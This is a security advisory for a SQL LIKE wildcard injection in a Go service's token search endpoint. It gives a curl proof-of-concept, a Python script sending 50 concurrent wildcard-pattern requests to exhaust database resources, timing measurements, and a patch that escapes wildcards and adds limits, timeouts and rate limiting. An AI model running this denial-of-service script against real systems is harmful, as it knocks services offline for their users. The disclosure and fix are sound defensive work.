A SQL LIKE wildcard injection vulnerability in the /api/token/search endpoint allows authenticated users to cause Denial of Service through resource exhaustion by crafting malicious search patterns.
The token search endpoint accepts user-supplied keyword and token parameters that are directly concatenated into SQL LIKE clauses without escaping wildcard characters (%, _). This allows attackers to inject patterns that trigger expensive database queries.
File: model/token.go:70
err = DB.Where("user_id = ?", userId).
Where("name LIKE ?", "%"+keyword+"%"). // No wildcard escaping
Where(commonKeyCol+" LIKE ?", "%"+token+"%").
Find(&tokens).Error
After creating over 2 million tokens, creating millions token entries is not difficult, because the rate limiting only applies to IP addresses, so multiple IP addresses can share one session, allowing for the creation of an unlimited number of tokens in batches.
These data are not all loaded at once under normal circumstances, as shown in the image, and are displayed correctly. But if a request like this is submitted:
# A single request causes PostgreSQL to unconditionally retrieve all tokens belonging to that user. These requests buffer will all go into the buffer zone, causing an overflow and preventing the program from functioning properly.
curl 'http://localhost:3000/api/token/search?keyword=%&token='
It will cause DoS.
import requests
from concurrent.futures import ThreadPoolExecutor
def attack(session_cookie):
requests.get(
'http://localhost:3000/api/token/search',
params={'keyword': '%_%_%_%_%_%', 'token': ''},
cookies={'session': session_cookie},
headers={'New-API-User': '1'}
)
# Launch 50 concurrent malicious requests
with ThreadPoolExecutor(max_workers=50) as executor:
for _ in range(50):
executor.submit(attack, '<valid_session>')
Availability
RAM Overflow
Postgres unavailable
Testing with 2,000,000 tokens:
| Pattern | Query Time | Rows | Impact |
|---|---|---|---|
test (normal) |
~50ms | 0 | Low |
% (full scan) |
5,973ms | 2,000,000 | High |
%_%_%_%_%_% |
6,200ms+ | 2,000,000 | Very High |
Each malicious request with 2M results:
% wildcardsfunc escapeLike(s string) string {
s = strings.ReplaceAll(s, "\\", "\\\\")
s = strings.ReplaceAll(s, "%", "\\%")
s = strings.ReplaceAll(s, "_", "\\_")
return s
}
func SearchUserTokens(userId int, keyword string, token string) (tokens []*Token, err error) {
keyword = escapeLike(keyword)
token = strings.Trim(token, "sk-")
token = escapeLike(token)
err = DB.Where("user_id = ?", userId).
Where("name LIKE ? ESCAPE '\\\\'", "%"+keyword+"%").
Where(commonKeyCol+" LIKE ? ESCAPE '\\\\'", "%"+token+"%").
Limit(1000).
Find(&tokens).Error
return tokens, err
}
tokenRoute.GET("/search",
middleware.TokenSearchRateLimit(), // 30 req/min per user
controller.SearchTokens)
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
err = DB.WithContext(ctx).Where(...).Find(&tokens).Error
{
"cwe_ids": [
"CWE-943"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-23T21:56:47Z",
"nvd_published_at": "2026-02-24T01:16:13Z",
"severity": "HIGH"
}